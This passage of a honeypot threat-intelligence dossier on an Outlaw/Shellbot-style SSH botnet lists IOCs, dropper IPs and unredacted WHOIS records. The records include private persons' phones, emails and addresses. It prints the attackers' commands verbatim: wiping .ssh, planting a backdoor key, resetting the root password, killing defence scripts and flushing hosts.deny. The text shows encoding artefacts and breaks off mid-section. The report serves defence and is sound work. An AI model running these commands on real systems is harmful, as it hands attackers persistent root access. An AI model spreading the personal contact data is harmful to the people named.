Between 2026-03-28 and 2026-05-01 (and still running as this dossier is published) a single Cowrie SSH honeypot captured a coordinated Outlaw / Shellbot-family Linux botnet operating across 31 compromised hosts in 22 countries. The toolkit is unusually clean: no malware download, no miner drop. The implant is a single RSA public key written into ~/.ssh/authorized_keys, plus a unique 12-character root password set via chpasswd per victim, plus the killing of any rival self-defense scripts (secure.sh, auth.sh) and the flushing of /etc/hosts.deny. The droppers are themselves victims of an earlier compromise โ Linux servers belonging to Korean labour unions, Indonesian ERP installs, Brazilian small-ISP customers, an Israeli dev environment, a Microsoft Azure ODOO ERP instance, multiple DigitalOcean and Google Cloud and Hetzner VMs โ repurposed as scanners. The operator harvests the implanted-key footprint and returns later, from clean infrastructure that does not appear in our logs.
This dossier reproduces every WHOIS identifier the public RIRs return for every IP that touched the honeypot. Names of registered persons, street addresses, contact handles, abuse mailboxes, AS numbers, and netblock allocation timestamps appear exactly as the registries return them. We are not the judges of who is responsible for what. We are the providers of what the records say. The honeypot caught what it caught.
๐ฏ Honeypot Collection โ 34+ days, ongoing
31
Dropper IPs (compromised hosts)
22+
Countries / 4 continents
34+
Days active (and counting)
0
Malware payloads dropped
THE TOOLKIT โ BYTE-FOR-BYTE
The same five-command opening runs on every dropper, in this order, separated by ~700 ms. We confirmed identical sequences across all 31 hosts; only the per-victim random password in step 4 rotates. The whole sequence โ including the recon block โ exits within ~60 seconds.
1 ยท UNLOCK
Strip immutable bit on .ssh
cd ~; chattr -ia .ssh; lockr -ia .ssh
2 ยท IMPLANT
Wipe + install backdoor key
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv..." > .ssh/authorized_keys
3 ยท PROFILE
First fingerprint โ CPU count
cat /proc/cpuinfo | grep name | wc -l
4 ยท LOCK ROOT
Reset root password (12-char random, rotates per victim) ยท falls through to passwd interactive on hardened hosts
echo "root:<12-char random>"|chpasswd|bash
5 ยท EVICT
Kill rival self-defense scripts ยท flush /etc/hosts.deny ยท the family signature
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep
๐ก Then a recon block โ 10 more commands, always the same
cpuinfo ยท free -m ยท df ยท uname -a ยท w ยท crontab -l ยท lscpu ยท whoami ยท top
โ ๏ธ Why step 5 is the Outlaw / Shellbot signature
secure.sh and auth.sh are well-known self-defense scripts that prior Outlaw / Shellbot infections drop on victims to keep rivals out. This toolkit kills them by name. echo > /etc/hosts.deny flushes any TCP-wrappers blocklist a sysadmin set up. The implant evicts the previous tenant before moving in.
CORE IOCs
| Indicator | Value |
| RSA pubkey MD5 fingerprint | 13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61 |
| Pubkey blob prefix (grep target) | AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv |
| RSA exponent | 0x25 (37) โ non-standard; ssh-keygen defaults to 65537 |
| Toolkit binary marker | lockr โ non-standard; semantic equivalent of chattr -ia |
| Cleanup signature | pkill -9 secure.sh auth.sh; rm -rf /tmp/secure.sh /tmp/auth.sh; echo > /etc/hosts.deny |
| Dropper SSH client | SSH-2.0-libssh_0.12.0 ยท HASSH af8223ac9914f509afdadfaf5f7ee94e (common โ not unique to this campaign) |
| Per-victim password samples | KqRMG0ONe7kW ยท lE21yDVYl56A ยท EDuNDILKDWqQ ยท JWpKedT9Iw41 ยท 1CEbpvwt5wH2 ยท pxurA5RmZO0Y ยท pOF9zVxmOvZ2 ยท iiEFqa6fjrOj ยท CqHlyKdqZz65 ยท jMjSKvTynORU ยท Polisyjk9Rg9 ยท 5Zjj4sMFny1E |
โก One-line check for any Linux host
grep -rF 'AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv' /root/.ssh /home/*/.ssh /etc/ssh 2>/dev/null
Silent output means clean. Any hit means rebuild.
THE 31 DROPPERS โ ACTIVITY OVERVIEW
29d 6h
Longest single span (52.177.169.196)
04-11
Peak day โ 6 nodes active
2
Active during dossier writing
One row per IP. Full WHOIS records with registered persons and addresses appear in the section below. "First โ last seen" reflects activity against our honeypot only. Rows highlighted in red were active today (2026-05-01).
| IP | Origin AS | CC | Reverse DNS / Shodan signal | First โ last seen (UTC) | Span |
103.173.154.45 | AS135905 | ๐ป๐ณ VN | โ | 03-28 21:29 โ 03-31 13:49 | 2d 16h |
182.93.50.90 | AS4609 CTM-MO | ๐ฒ๐ด MO | n18293z50l90.static.ctmip.net | 03-30 06:51 โ 04-19 04:22 | 19d 21h |
45.175.37.29 | AS267843 TCA SERVICES | ๐ป๐ช VE | โ | 03-31 04:02 โ 04-14 22:10 | 14d 18h |
52.177.169.196 | AS8075 Microsoft | ๐บ๐ธ US | SRVODOOERP.*.cloudapp.net | 03-31 23:59 โ 04-30 06:01 | 29d 6h |
175.107.32.186 | AS23888 NTC PK | ๐ต๐ฐ PK | scanner-tagged | 03-29 19:16 โ 04-04 23:15 | 6d 4h |
103.139.192.188 | AS136052 IDCloudHost | ๐ฎ๐ฉ ID | ip103-139-192-188.cloudhost.web.id | 04-01 05:21 โ 04-01 06:15 | 54m |
103.49.239.212 | AS136052 IDCloudHost | ๐ฎ๐ฉ ID | ip103-49-239-212.cloudhost.web.id ; www.exama.id | 04-01 14:50 โ 04-21 23:21 | 20d 8h |
156.238.236.46 | AS401696 COGNETCLOUD | ๐ญ๐ฐ HK / ๐ธ๐จ SC | โ | 04-02 06:50 โ 04-03 06:27 | 23h 36m |
188.226.168.173 | AS14061 DigitalOcean | ๐ณ๐ฑ NL | dev.boomer.co.il | 04-02 17:30 โ 04-11 11:06 | 8d 17h |
212.154.234.9 | AS50482 KazakhTelecom | ๐ฐ๐ฟ KZ | โ | 04-02 23:37 โ 04-17 21:26 | 14d 21h |
68.183.236.1 | AS14061 DigitalOcean | ๐บ๐ธ US | shms-erp.com | 04-03 17:55 โ 04-03 19:03 | 1h 8m |
187.16.96.250 | AS17222 Mundivox | ๐ง๐ท BR | mvx-187-16-96-250.mundivox.com | 04-04 14:09 โ 04-28 06:44 | 23d 16h |
143.198.235.14 | AS14061 DigitalOcean | ๐บ๐ธ US | caly.getpictoria.app | 04-04 22:09 โ 04-04 22:59 | 49m |
165.154.22.6 | AS135377 UCLOUD-HK | ๐ญ๐ฐ HK | โ | 04-05 18:56 โ 04-05 19:52 | 56m |
35.237.94.18 | AS396982 Google Cloud | ๐บ๐ธ US | googleusercontent.com | 04-05 23:11 โ 04-11 11:08 | 5d 11h |
101.47.159.125 | AS150436 BytePlus | ๐ธ๐ฌ SG | โ | 04-09 16:01 โ 04-11 00:33 | 1d 8h |
103.107.60.45 | AS137151 Greenworld Netcast | ๐ฎ๐ณ IN | โ | 04-09 15:28 โ 04-15 00:22 | 5d 8h |
114.207.246.197 | AS9318 SK Broadband | ๐ฐ๐ท KR | mail2.uniforce.or.kr | 04-11 04:38 โ 04-18 21:42 | 7d 17h |
58.229.141.26 | AS9318 SK Broadband | ๐ฐ๐ท KR | โ | 04-11 04:37 โ 04-19 03:50 | 7d 23h |
198.98.56.205 | AS53667 FranTech (PONYNET) | ๐บ๐ธ US | bullshit-irc.net | 04-11 10:29 โ 04-11 11:06 | 36m |
209.97.168.111 | AS14061 DigitalOcean | ๐บ๐ธ US | โ | 04-11 10:28 โ 04-11 11:12 | 43m |
103.163.116.84 | AS141745 Moghbazar | ๐ง๐ฉ BD | โ | 04-11 10:29 โ 04-11 11:15 | 46m |
101.47.156.170 | AS150436 BytePlus | ๐ธ๐ฌ SG | โ | 04-14 04:54 โ 04-14 07:10 | 2h 16m |
74.243.239.219 | AS8075 Microsoft | ๐บ๐ธ US | โ | 04-17 20:48 โ 04-17 21:31 | 43m |
103.146.23.145 | AS131366 LANIT VN | ๐ป๐ณ VN | โ | 04-17 20:46 โ 04-17 21:30 | 43m |
185.193.240.246 | AS212645 GLOBALSAT MK | ๐ฒ๐ฐ MK | scanner-tagged | 04-20 11:04 โ 04-20 11:41 | 37m |
91.99.110.230 | AS24940 Hetzner | ๐ฉ๐ช DE | static.230.110.99.91.clients.your-server.de | 04-21 02:37 โ 04-21 10:55 | 8h 18m |
197.199.224.52 | AS36992 Etisalat Misr | ๐ช๐ฌ EG | host-197.199.224.52.etisalat.com.eg | 04-24 01:33 โ 04-24 02:15 | 41m |
103.187.146.90 | AS138608 Cloud Host Pte Ltd | ๐ฎ๐ฉ ID / ๐ธ๐ฌ SG | ip103-187-146-90.cloudhost.web.id | 04-29 22:53 โ 04-29 23:46 | 53m |
79.174.63.130 | AS47119 Ufanet | ๐ท๐บ RU | โ | 05-01 05:01 โ 05-01 06:04 | 1h 2m |
144.79.187.31 | AS138000 PT Antar Fiber Optik (allocated 2025-12-22) | ๐ฎ๐ฉ ID | โ | 05-01 15:58 โ 05-01 16:26 | 28m |
โฑ Two of these IPs hit the honeypot during the writing of this dossier (rows highlighted). The campaign is a current event, not a closed historical case.
THE 31 DROPPERS โ FULL WHOIS RECORDS
๐ Editorial principle for this section
Each card below reproduces the public WHOIS record from the relevant Regional Internet Registry (RIPE / APNIC / AFRINIC / LACNIC / ARIN) for the netblock containing the dropper IP. Names, addresses, contact handles, abuse mailboxes, maintainers, and registration timestamps appear exactly as the registry returns them โ verbatim, no paraphrasing, no redaction.
103.173.154.45
๐ป๐ณ VN
- inetnum: 103.173.154.0 - 103.173.155.255 โ netname: THANHLONG-VN
- descr: THANH LONG TRAFFIC CONSTRUCTION CONSULTING COMPANY LIMITED
- address: No.1, Alley 23/69/75, Group 4 Phu Dien, Phu Dien Ward, Bac Tu Liem District, Ha Noi City
- admin-c / tech-c: DVN7-AP โ person: Dao Van Nghi ยท +84 986552681 ยท thanh.long@hoidoanhnghiepmoi.com
- mnt-by: MAINT-VN-VNNIC ยท route: 103.173.154.0/24 โ origin: AS135905
- inetnum: 182.93.0.0 - 182.93.63.255 โ netname: CTM-AS-AP
- org-name: Companhia de Telecomunicacoes de Macau ยท Rua da Lagos, Telecentro, P.O. Box 868, Taipa, Macau ยท +853-891-2211
- admin-c: CN448-AP (CTM NOC) ยท tech-c: CM2469-AP (CTM Mcenter, +853 8891 2211)
- abuse-mailbox: NMC_Internet_LeasedLine@ctm.com.mo ยท mnt-by: APNIC-HM, MAINT-CTM-MO
- route: 182.93.50.0/24 (CTM Internet Service) โ origin: AS4609
- inetnum: 45.175.36.0/22 โ status allocated ยท owner: TCA SERVICES C.A. ยท ownerid: VE-TSCA-LACNIC
- address: Av. Francisco Solano Lopez, Pasaje La Concordia, Piso 6, Caracas VE, 6H โ 1080 - CARACAS - DC ยท +58 2127626530
- tech-c: SOR2 โ person: Socrates Romay ยท socrates@tcascorp.com ยท Av. Bello Monte / Leonardo DaVinci, 11-C, C.C. Bello Monte, Nivel 11, 1080 Caracas DF ยท +58 2614143204055
- created: 2019-05-02 (LACNIC) ยท BGP origin AS: AS267843 TCA SERVICES C.A.
52.177.169.196
๐บ๐ธ US (Microsoft Azure)
- NetRange: 52.145.0.0 - 52.191.255.255 (CIDR 52.148.0.0/14, 52.146.0.0/15, 52.152.0.0/13, 52.160.0.0/11, 52.145.0.0/16) ยท NetName: MSFT
- OrgName: Microsoft Corporation ยท One Microsoft Way, US ยท RegDate 2015-11-24
- BGP origin AS: AS8075 MICROSOFT-CORP-MSN-AS-BLOCK ยท Reverse DNS: SRVODOOERP.xklwuxwk2daute2h4zefcgdzvf.cx.internal.cloudapp.net (Azure tenant ODOO ERP instance)
175.107.32.186
๐ต๐ฐ PK
- inetnum: 175.107.0.0 - 175.107.63.255 ยท netname: NTCISP-PK ยท org-name: National Telecommunication Corporation
- address: NTC Headquarters Sector F-5/1, Islamabad ยท +92-51-9208686 ยท +92-51-9208809
- admin-c / tech-c: NTCA1-AP ยท contact emails: zahir.abbas@ntc.org.pk ยท talha.javaid@ntc.net.pk ยท ispsupport@ntc.net.pk
- mnt-by: APNIC-HM, MAINT-PK-ZAHIR, MAINT-PK-WAHEED ยท route: 175.107.32.0/24 โ origin: AS23888
103.139.192.188
๐ฎ๐ฉ ID
- inetnum: 103.139.192.0 - 103.139.193.255 ยท netname: IDNIC-HALTO-ID ยท descr: PT. Halto Petirah Angrowangi (Corporate / Direct Member IDNIC)
- address: Jl. Kalijati Indah Sel. No.12, Antapani Kulon, Kec. Antapani, Kota Bandung, Jawa Barat
- admin-c / tech-c: IH123-AP ยท secondary: IA55-AP, IH288-AP ยท abuse-mailbox: abuse@idnic.net ยท hostmaster@apjii.or.id
- mnt-by: MNT-APJII-ID ยท status ALLOCATED PORTABLE ยท BGP origin AS: AS136052 IDNIC-IDCLOUDHOST-AS-ID PT Cloud Hosting Indonesia (announced)
103.49.239.212
๐ฎ๐ฉ ID (two overlapping inetnums)
- (a) inetnum: 103.49.238.0 - 103.49.239.255 ยท netname: IDNIC-SALKAKOLABORASI-ID ยท descr: CV Salka Kolaborasi Indonesia (Corporate / Direct Member IDNIC) ยท address: Jalan Eka Tunggal Ujung, Perumahan Salsabila Regency 3 Blok A Nomor 3, Kec. Tuah Madani, Pekanbaru, Riau
- admin-c / tech-c: RH1028-AP โ person: Roni Hidayat ยท Sidomulyo Barat ยท +62-811-7577-182 ยท tech@salki.my.id ยท abuse-mailbox: abuse@salki.my.id ยท mnt-by: MNT-APJII-ID, MAINT-ID-SALKAKOLABORASI
- (b) inetnum: 103.49.239.0 - 103.49.239.255 ยท netname: IDNIC-IDCLOUDHOST-ID ยท descr: PT Cloud Hosting Indonesia ยท address: Pinus Raya Reni Jaya AG-1 No.01, Pamulang Barat, Pamulang, Tangerang Selatan, Banten
- admin-c / tech-c: APS20-AP โ person: Alfian Pamungkas Sakawiguna ยท Jl. Bojonggenteng No.2, Sukabumi, Jawa Barat ยท +62-266-620073 ยท abuse-mailbox: admin@idcloudhost.com ยท mnt-by: MAINT-ID-IDCLOUDHOST
- route: 103.49.239.0/24 (Route Object Of PT. Cloud Hosting Indonesia) โ origin: AS136052
156.238.236.46
๐ญ๐ฐ HK (inetnum) / ๐ธ๐จ SC (registrant entity)
- NetRange: 156.238.0.0 - 156.238.255.255 (allocated by AFRINIC, ERX from earlier ARIN allocation)
- inetnum: 156.238.236.0 - 156.238.236.255 ยท netname: cognetcloud_INC ยท descr: cognetcloud INC ยท country: HK
- admin-c / tech-c: CIS1-AFRINIC โ person: Cloud Innovation Support ยท Ebene MU / Mahe, Seychelles ยท +248-4-610-795 ยท abuse-mailbox: abuse@cloudinnovation.org
- mnt-by: CIL1-MNT, LARUS-SERVICE-MNT ยท BGP origin AS: AS401696 COGNETCLOUD (US-listed entity, AFRINIC inetnum, registrant address in Seychelles)
188.226.168.173
๐ณ๐ฑ NL (DigitalOcean Amsterdam)
- inetnum: 188.226.128.0 - 188.226.191.255 ยท netname: DIGITALOCEAN-AMS-4 ยท descr: Digital Ocean, Inc.
- person: DigitalOcean Network Operations ยท 105 Edgeview Drive, Suite 425, Broomfield, Colorado 80021, United States of America ยท +1 646-827-4366 ยท mnt-by: digitalocean
- BGP origin AS: AS14061 DIGITALOCEAN-ASN ยท Reverse DNS: dev.boomer.co.il
212.154.234.9
๐ฐ๐ฟ KZ
- inetnum: 212.154.234.8 - 212.154.234.15 (a /29 sub-allocation) ยท netname: IP_HELIOS_SOFT
- descr: Co-location ยท LLC "HELIOS SOFT" ยท Akkol
- admin-c / tech-c: DP17366-RIPE โ person: Denis Puzikov ยท 050000 Almaty, Kurgalzhinskoe shosse 19/T app.501, KZ ยท +7 701 850 36 77
- mnt-by: KNIC-MNT ยท status ASSIGNED PA ยท created 2024-02-29 ยท BGP origin AS: AS50482 KAZAKHTELECOM-AS
68.183.236.1
๐บ๐ธ US (DigitalOcean)
- NetRange: 68.183.0.0 - 68.183.255.255 ยท NetName: DIGITALOCEAN-68-183-0-0 ยท OrgName: DigitalOcean, LLC (DO-13) ยท 105 Edgeview Drive, Suite 425, US ยท RegDate 2018-09-18
- BGP origin AS: AS14061 DIGITALOCEAN-ASN ยท Reverse DNS: shms-erp.com
187.16.96.250
๐ง๐ท BR
- inetnum: 187.16.64.0/18 ยท owner: MUNDIVOX DO BRASIL LTDA ยท ownerid: 03.580.510/0002-54 ยท created 2008-09-24
- tech-c: AIJ6 โ person: Alberto Ivan Duran de la Jara ยท created 2001-07-10
- BGP origin AS: AS17222 MUNDIVOX DO BRASIL LTDA ยท Reverse DNS: mvx-187-16-96-250.mundivox.com
143.198.235.14
๐บ๐ธ US (DigitalOcean)
- NetRange: 143.198.0.0 - 143.198.255.255 ยท NetName: DIGITALOCEAN-143-198-0-0 ยท OrgName: DigitalOcean, LLC (DO-13) ยท 105 Edgeview Drive, Suite 425, US ยท RegDate 2020-01-24
- BGP origin AS: AS14061 DIGITALOCEAN-ASN ยท Reverse DNS: caly.getpictoria.app
- inetnum: 165.154.22.0 - 165.154.22.255 ยท netname: UCLOUD-HK ยท descr: UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED
- address: FLAT/RM 603 6/F, LAWS COMMERCIAL PLAZA, 788 CHEUNG SHA WAN ROAD, KL, Hong Kong
- admin-c / tech-c: UITH2-AP ยท pn-wan@ucloud.cn ยท u-ipnic@ucloud.cn ยท abuse-mailbox: hegui@ucloud.cn ยท mnt-by: MAINT-UCLOUD-HK
- route: 165.154.22.0/24 โ origin: AS135377 (also seen via AS62610)
35.237.94.18
๐บ๐ธ US (Google Cloud)
- NetRange: 35.208.0.0 - 35.247.255.255 ยท NetName: GOOGLE-CLOUD ยท OrgName: Google LLC (GOOGL-2) ยท 1600 Amphitheatre Parkway, US ยท RegDate 2017-09-29
- BGP origin AS: AS396982 GOOGLE-CLOUD-PLATFORM ยท Reverse DNS: 18.94.237.35.bc.googleusercontent.com
101.47.159.125 + 101.47.156.170
๐ธ๐ฌ SG (BytePlus / ByteDance, same /21)
- inetnum: 101.47.112.0 - 101.47.255.255 ยท netname: BYTEPLUS-SG ยท descr: BYTEPLUS
- address: 1 Raffles Quay, #26-10, South Tower, Singapore 048583 ยท +65-6950-4420
- admin-c / tech-c: BPLA13-AP ยท abuse-mailbox: bd_abuse@bytedance.com ยท mnt-by: MAINT-BYTEPLUS-SG ยท status ALLOCATED NON-PORTABLE
- route: 101.47.159.0/24 + 101.47.156.0/24 โ origin: AS150436 Byteplus Pte. Ltd.
103.107.60.45
๐ฎ๐ณ IN
- inetnum: 103.107.60.0 - 103.107.63.255 ยท netname: GNPLISP ยท descr: Greenworld Netcast Private Limited
- address: 219, JIMMI TOWER, OPP. SWAMINARAYAN GURUKUL, GONDAL
- admin-c / tech-c: KP439-AP โ person: KETANKUMAR PETHANI ยท +91 7227891031 ยท ketan7390@gmail.com ยท abuse-mailbox: GNPLISP@GMAIL.COM ยท contact: GREENWORLD.RAJKOT@gmail.com
- mnt-by: MAINT-IN-IRINN, MAINT-IN-GNPLISP ยท status ASSIGNED PORTABLE ยท route: 103.107.60.0/24 โ origin: AS137151
114.207.246.197 + 58.229.141.26
๐ฐ๐ท KR (SK Broadband, same operator)
- inetnums: 114.200.0.0 - 114.207.255.255 (for 114.207.246.197) ยท 58.224.0.0 - 58.239.255.255 (for 58.229.141.26)
- netname: broadNnet (KRNIC: broadNnet-KR) ยท descr: SK Broadband Co Ltd ยท address (block): 9, Jinheung-gil, Naju-si, Jeollanam-do
- admin-c / tech-c: IM670-AP / IM574-AP / IM12-KR โ person: IP Manager ยท Seoul Jung-gu Toegye-ro 24 ยท +82-80-828-2106 ยท ip-adm@skbroadband.com ยท abuse-mailbox: irt@nic.or.kr
- mnt-by: MNT-KRNIC-AP ยท BGP origin AS: AS9318 SKB-AS
- Reverse DNS (114.207.246.197): mail2.uniforce.or.kr ยท uniforce.or.kr
198.98.56.205
๐บ๐ธ US (FranTech / PONYNET)
- NetRange: 198.98.48.0 - 198.98.63.255 (CIDR 198.98.48.0/20) ยท NetName: PONYNET-06
- OrgName: FranTech Solutions (SYNDI-5) ยท 1621 Central Ave, US ยท RegDate 2010-07-21 ยท netblock allocated 2012-07-05
- BGP origin AS: AS53667 PONYNET ยท Reverse DNS: bullshit-irc.net (cross-reference TI-2026-007 โ same hostname appeared as the mdrfckr IRC C2)
209.97.168.111
๐บ๐ธ US (DigitalOcean)
- NetRange: 209.97.128.0 - 209.97.191.255 (CIDR 209.97.128.0/18) ยท NetName: DIGITALOCEAN-209-97-128-0
- OrgName: DigitalOcean, LLC (DO-13) ยท 105 Edgeview Drive, Suite 425, US ยท RegDate 1997-07-03
- BGP origin AS: AS14061 DIGITALOCEAN-ASN
103.163.116.84
๐ง๐ฉ BD
- inetnum: 103.163.116.0 - 103.163.117.255 ยท netname: MOGHBAZARDOTNET-BD ยท org-name: Moghbazar Dot Net
- address: 164/1 Noyatola, wireless rail gate, Dhaka 1217 ยท +88-01977743370
- admin-c / tech-c: MDNA1-AP ยท contact email: admin@moghbazar.net ยท abuse-mailbox: mukit@moghbazar.net
- mnt-by: APNIC-HM, MAINT-MOGHBAZARDOTNET-BD ยท route: 103.163.116.0/24 โ origin: AS141745 ยท descr: Maksudur Rashed
74.243.239.219
๐บ๐ธ US (Microsoft)
- NetRange: 74.240.0.0 - 74.243.255.255 (CIDR 74.240.0.0/14) ยท NetName: MSFT
- Sub-allocation: 74.243.224.0 - 74.243.255.255 (CIDR 74.243.224.0/19) ยท NetName BLS-74-243-224-0-1003020949 ยท Address 575 Morosgo Dr. NE
- OrgName: Microsoft Corporation ยท One Microsoft Way, US ยท BGP origin AS: AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
103.146.23.145
๐ป๐ณ VN
- inetnum: 103.146.22.0 - 103.146.23.255 ยท netname: LANIT-VN ยท descr: Lanit Technology and Communication Joint Stock Company
- address: 3B, 52 Alley, 43 lane, Cau Coc str., Tay Mo, Nam Tu Liem, Hanoi City
- admin-c / tech-c: PVD11-AP โ person: Pham Van Duc ยท LANIT-VN ยท +84-912686938 ยท duc@lanit.com.vn ยท abuse-mailbox: hm-changed@vnnic.vn
- mnt-by: MAINT-VN-VNNIC ยท route: 103.146.23.0/24 โ origin: AS131366
185.193.240.246
๐ฒ๐ฐ MK
- inetnum: 185.193.240.0 - 185.193.240.255 ยท netname: MK-GLOBALSAT-20200916 ยท org-name: GLOBALSAT DOOEL
- address: Ulica 38 br.22 Stajkovci, 1040 Skopje, NORTH MACEDONIA ยท +389 78 608808
- admin-c / tech-c: CA9820-RIPE ยท mnt-by: mnt-mk-ineltehnik-1, RIPE-NCC-HM-MNT, MNT-LOWER_KAV ยท created 2020-09-16
- route: 185.193.240.0/24 (GLOBALSAT /24) โ origin: AS212645
91.99.110.230
๐ฉ๐ช DE (Hetzner)
- inetnum: 91.99.96.0 - 91.99.111.255 ยท netname: CLOUD-NBG1 ยท org-name: Hetzner Online GmbH
- address: Industriestrasse 25, D-91710 Gunzenhausen, GERMANY ยท +49 9831 5050
- admin-c: HOAC1-RIPE, MF1400-RIPE, GM834-RIPE, MH375-RIPE, SK2374-RIPE, SK8441-RIPE
- tech-c: GM834-RIPE, SK2374-RIPE, MF1400-RIPE, SK8441-RIPE, DD15478-RIPE ยท abuse-mailbox: abuse@hetzner.com
- mnt-by: HOS-GUN, RIPE-NCC-HM-MNT ยท created 2025-05-19 ยท route: 91.99.0.0/16 (HETZNER-DC) โ origin: AS24940 ยท Reverse DNS: static.230.110.99.91.clients.your-server.de
197.199.224.52
๐ช๐ฌ EG
- inetnum: 197.199.224.0 - 197.199.255.255 ยท netname: EM-2 ยท descr: Network used for 3G Web Users
- admin-c / tech-c: SMM2-AFRINIC โ person: Sherif Magdy Mohamed ยท Etisalat Misr ยท S4 Down Town, 90th Street, 5th Compound, New Cairo, Egypt, Cairo 11835 ยท +20-2-35381000
- mnt-by: etisalat-mnt, GENERATED-BDVY6DBBH98KLPSUIXSD5SUX8WDCVXTF-MNT
- route: 197.199.224.0/24 (Etisalat Misr Mobile BB) โ origin: AS36992 ETISALAT-MISR ยท Reverse DNS: host-197.199.224.52.etisalat.com.eg
103.187.146.90
๐ฎ๐ฉ ID (registrant entity ๐ธ๐ฌ SG)
- inetnum: 103.187.146.0 - 103.187.146.255 ยท netname: CLOUDHOST-SG ยท descr: Cloud Host Pte Ltd ยท BYOIP
- address (org): 10 Anson Road, #27-15, International Plaza, Singapore Singapore 079903 ยท country (inetnum): ID ยท country (registrant person): SG
- admin-c / tech-c: FRS9-AP โ person: Faisal Reza ST ยท +65 9855 3391 ยท abuse-mailbox: abuse@cloudhost.asia
- mnt-by: MAINT-CLOUDHOSTSG-ID, MAINT-ID-GHAZAFA ยท status ASSIGNED NON-PORTABLE ยท last-modified 2026-03-09
- BGP origin AS: AS138608 CLOUDHOST-AS-AP ยท Reverse DNS: ip103-187-146-90.cloudhost.web.id
79.174.63.130
๐ท๐บ RU (active 2026-05-01)
- inetnum: 79.174.32.0 - 79.174.63.255 ยท netname: UBN ยท org-name: JSC "Ufanet"
- address: 4/3 Pr. Octyabrya, 450001 Ufa, RUSSIAN FEDERATION (also: pr. Oktyabrya 4/3, Ufa, Russia) ยท +7 347 290 0405
- admin-c: UN1646-RIPE / DK9362-RIPE ยท tech-c: UN1646-RIPE / RK10446-RIPE ยท abuse-mailbox: abuse@ufanet.ru
- mnt-by: RIPE-NCC-END-MNT, UBN-MNT, RIPE-NCC-HM-MNT ยท status ASSIGNED PI ยท created 2008-04-28
- route: 79.174.63.0/24 (JSC "Ufanet", Russia) โ origin: AS47119
144.79.187.31
๐ฎ๐ฉ ID (newly allocated 2025-12-22, active 2026-05-01)
- inetnum: 144.79.187.0 - 144.79.187.255 ยท netname: IDNIC-AFNET-ID ยท descr: PT Antar Fiber Optik (Corporate / Direct Member IDNIC)
- address (block): Jl. Cinta Karya no.10, Desa/Kel. Sari Rejo, Kec. Medan Polonia, Kota Medan, Prov sumatera Utara 20157
- admin-c / tech-c: FBH3-AP โ person: Frans Bernando Hutagalung ยท PT. Antar Fiber Optik ยท Jl. Prof. DR. Hamka no. 62, Kel. Bulian kec. Bajenis, prov. Sumatera Utara, 20612 ยท +62 813 6101 4282 ยท direktur@afnet.id
- email / abuse: info@afnet.id ยท abuse@afnet.id ยท mnt-by: MNT-APJII-ID, MAINT-ID-AFNET ยท status ASSIGNED PORTABLE ยท last-modified 2025-12-24
- BGP origin AS: AS138000 IDNIC-AFNET-ID PT Antar Fiber Optik ยท allocation date: 2025-12-22 โ newly minted block, four months old at time of attack
THE 32ND IP โ A CO-OBSERVER, NOT A PARTICIPANT
๐ฏ The 32nd IP โ at first glance, the smoking gun
One IP behaved differently from the 31 droppers: 139.19.117.129. It used SSH-2.0-Go, not libssh_0.12.0. Between 2026-04-04 and 2026-04-28 it logged 234 SSH attempts against our cowrie โ all of them publickey authentication using the same RSA key the droppers were installing. Zero successes. Zero commands. Just the key, over and over, against admin and root. The natural read: this is the campaign's harvest node, returning to log into compromised hosts.
๐ Plot twist โ reverse DNS
$ dig +short -x 139.19.117.129
inet-research-scan-5.mpi-inf.mpg.de.
That is a Max-Planck-Institut fรผr Informatik internet measurement scanner in Saarbrรผcken, Germany. AS680 โ DFN, the German National Research and Education Network. Not the operator. A research group doing internet-wide measurement, scanning for hosts that accept the same backdoor key the droppers are installing. Tracking the campaign for the same reason we are. Different methodology, same target.
๐ Co-observer WHOIS โ Max-Planck-Institut fรผr Informatik
- NetRange: 139.10.0.0 - 139.25.255.255 (CIDR 139.16.0.0/13, 139.24.0.0/15, 139.12.0.0/14, 139.10.0.0/15)
- NetName: RIPE-ERX-139-10-0-0 ยท Organization: RIPE Network Coordination Centre โ delegated to Max-Planck-Institut fรผr Informatik, Saarbrรผcken, Germany
- BGP origin AS: AS680 โ DFN Verein zur Foerderung eines Deutschen Forschungsnetzes e.V. (German National Research and Education Network), allocation 1990-06-14
- Reverse DNS: inet-research-scan-{1..14}.mpi-inf.mpg.de ยท inet-scan-{1..14}.mpi-inf.mpg.de
“A node that submits a known-bad key for SSH publickey auth is not necessarily the bad guy.
”
โ Censys, Stretchoid, the Recyber Project, GreyNoise, and academic groups like MPI-INF all run scanners that look behaviorally identical to a botnet's harvest node. The disambiguator is rDNS, the AS, and the explicit inet-research-scan-N hostname. Always check.
๐ก๏ธ What is missing from our logs โ and what that tells us
The actual harvest node โ the IP the operator uses to log into compromised hosts via the implanted key โ does not appear in our cowrie data. The droppers are disposable; their job is to compromise more hosts and expand the implanted-key footprint. The operator returns later, from clean infrastructure (Tor, a VPN, a dedicated bastion), and we never see those connections because cowrie does not actually accept the key. The C2 architecture is air-gapped from the propagation layer. The droppers can be sinkholed, blocklisted, taken down โ and the operator's access to already-compromised hosts continues unaffected.
INFRASTRUCTURE PATTERNS THAT ARE VISIBLE
The operator's own infrastructure is invisible to us. The droppers' infrastructure is not โ and within those 31 hosts, four distinct clustering patterns surface. Each tells us something different about how the campaign reaches across the internet.
Cluster 1 ยท 3 IPs
๐ธ๐ฌโ๐ฎ๐ฉ Cloud Host / IDCloudHost shared DNS infrastructure
Three of the 31 droppers share the reverse DNS suffix *.cloudhost.web.id across two different BGP origin ASes:
| IP | Origin AS | Legal entity (block descr) |
103.187.146.90 | AS138608 | Cloud Host Pte Ltd (SG, Faisal Reza ST) |
103.139.192.188 | AS136052 | PT. Halto Petirah Angrowangi (ID) |
103.49.239.212 | AS136052 | PT Cloud Hosting Indonesia / CV Salka Kolaborasi (ID) |
Why it matters: two corporate entities โ one Singapore, one Indonesia โ share one DNS infrastructure. Three of the compromised hosts in the campaign sit on the same operator's bare metal. When one customer of a hosting company gets owned, others on the same platform tend to follow, because the attack surface is shared.
Cluster 2 ยท 2 IPs
